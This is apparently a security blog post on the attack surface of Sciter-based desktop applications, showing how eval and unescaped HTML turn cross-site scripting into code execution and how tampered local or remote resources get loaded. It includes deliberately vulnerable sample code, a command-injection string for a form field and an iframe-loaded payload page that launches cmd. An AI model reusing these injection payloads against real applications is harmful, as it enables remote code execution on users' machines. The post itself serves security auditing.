Cybersecurity blog header

Security in Sciter-based applications

Sciter is an embeddable engine for user interfaces in multi-platform applications. Through Sciter engine the user interfaces are created using HTML, CSS and TISscript, the latter being a language similar to JavaScript and capable of handling files, connections, executing commands, etc. via some exposed APIs. This engine is used by some projects like AntiMalware solutions (Symantec, ESET, Avast…) or videogames (War Thunder).

This article is aimed to analyze the attack surface in Sciter-based applications. The weaknesses or vulnerabilities showed in this post are related with insecure practices adopted in the development of a project, it does not mean that Sciter is vulnerable (in the same way that PHP is not vulnerable because of having a language constructor like eval(): issues appear when applications use eval wrongly).

0x00 Brief introduction to Sciter

As noted before, the main feature of Sciter is the creation of powerful user interfaces via frontend technologies. Apart from HTML and CSS, the TISscript component provides more malleability to HTML resources, as well as the possibility of interacting with different APIs that enrich the engine, such as executing system commands, manipulating files, working with sockets, etc. The syntax is pretty similar to JavaScript. The following code snippet exemplifies using the API to launch a new process:

<html>
  <head>
    <title></title>
    <style></style>
    <script type="text/tiscript">
    function self.ready() {
      System.Process.exec("calc");
  }
    </script>
  </head>
<body>
<h1>Pwn test!</h1>
</body>
</html>
Inicio de proceso calc.exe a través de TISscript en SCITER

Process calc.exe initiated by SCITER

Methods of the System object can be disabled when creating the VM, however this example can be used with any other object with interesting methods such as managing files or making TCP connections.

From the security standpoint of an application developed using Sciter, it is interesting to analyze the vectors through which malicious users can inject arbitrary TISscript code in the context of a legitimate application. Generalizing we can differentiate two scenarios in which this situation can happen: code injection through a text string controlled at least partially by a user, and manipulation of resources that are loaded by the application.

0x01 Code injection

This type of vulnerabilities are often present in the frontend of web applications that handle user input in an insecure way, inputs provided by users. Cross-Site Scripting (XSS) would be the flagship of this kind of vulnerabilities.

In the case of an application developed with Sciter, since it uses frontend technologies to generate the GUI, it is possible to unconsciously transfer these same errors. Where we had a Cross-Site Scripting with client-side effects in the browser, now exists the possibility of executing arbitrary code in the machine. So an XSS becomes a potential RCE.

A direct example of code injection may be the presence of a call to the eval() function using a text string, whose content is partially controlled by the user, as an argument. The exploitation is analogous to the ones carried out in other languages such as JavaScript or PHP: closing the context of the string and adding our payload below. This can be visualized betetr with the following example of vulnerable code:

<html>
  <head>
    <title></title>
    <style></style>
    <script type="text/tiscript">
      
      function alert(msg) { view.msgbox(#information, msg);}

      $(button#get).onClick = function()
      {
        eval("alert("Hello " + $(form).value["name"] +"!");");
      }
      
    
    </script>
  </head>
<body>
  <form>
      <input(name) novalue="Your name">
  </form>
  <button #get>Say Hello!</button>

</body>
</html>

In this example, it can be seen how the script is concatenating the value entered in the form to a string that is going to be passed as an argument to the alert, all within an eval(). Adding a double quote closes the context of the string and allows us to exit the alert and then add our code followed by a comment (//), thus avoiding syntax errors:

");System.Process.exec("cmd", ["/c","start"]);//

So the argument received by the eval is going to be:

alert("Hello ");System.Process.exec("cmd", ["/c","start"]);// !");

First the alert() will be executed (the call to view.msgbox()), and then a terminal will be opened.

Proceso ejecutado a través de la inyección de código TISscript

Process executed via TISscript

Another dangerous situation can occur when the developer directly takes some data and adds it as HTML content directly without escaping it properly. In this situation it is possible to execute code through, for example, iframes.

Sciter provides to developers different ways to load and execute code (in the next section we will dive deeper into this), including storing resources remotely and invoking them through an iframe / frame. This way we can place the desired payload on a web server and inject it into the application through an iframe. For example, in a vulnerable code like the following:

<html>
  <head>
    <title></title>
    <style></style>
    <script type="text/tiscript">
      
       $(button#get).onClick = function()
      {
      $(div).html = "<h1> Hello " + $(form).value["name"] + "! </h1>";
      }
    
    </script>
  </head>
<body>

  <form>
      <input(name) novalue="Your name">
  </form>
  <button #get>Say hello</button>
  <div>
  </div>
</body>
</html>

In the example, it can be seen how the text string from the form is added together with a greeting message within the DIV element. The entry is not escaped at any time, so it is possible to include HTML tags that will be interpreted by the Sciter engine. In this case, one option would be to include the following code in a remote server:

<html>
  <head>
    <title></title>
    <style></style>
    <script type="text/tiscript">
      
     function self.ready() {
      System.Process.exec("cmd", ["/c", "start"]);
   }
    </script>
  </head>
<body>
</body>
</html>

And include it through an iframe:

<iframe src="https://localhost:8080/pwn.html" />

This way the application will load and execute our code.

0x02 Resource manipulation

As mentioned in the previous section, Sciter is very flexible in terms of how to load code. In a generic way we can talk about:

– Code hosted within the application itself in the form of resources.
– Code stored in local files.
– Code hosted on external servers.

The last two being the most relevant.

It is important to note that Sciter can also load and execute code directly from a zip file (both locally and remotely).

A) Loading code from a local file

The HTML / CSS / TIScript that makes up the graphic interface can be stored in local files referenced within the program. In the same way, these files can load others through iframes (as already seen), the load() method or even in the form of scripts through “includes”.

Manipulation of local files in order to achieve arbitrary code execution makes sense in scenarios where the application is executed by a user with more privileges and the ACLs of these files are not properly configured, so a non-privileged user can take advantage of this situation to elevate privileges.

B) Uploading code from remote server

In this case, if external resources are referenced using insecure protocols (HTTP vs HTTPS), it is possible to obtain code execution through a Man-in-the-Middle, modifying the content to add a malicious payload. Although this scenario is unfortunate, it is still interesting in the context of an intrusion test where you want to compromise other machines in the segment.

0x04 Conclusions

The use of frontend technologies for the creation of multiplatform applications is getting trendy, projects such as Electron or Sciter are increasingly used, so it is necessary to keep in mind the possible associated problems when performing a web security audit ) about this kind of applications.

Discover our work and cybersecurity services at www.tarlogic.com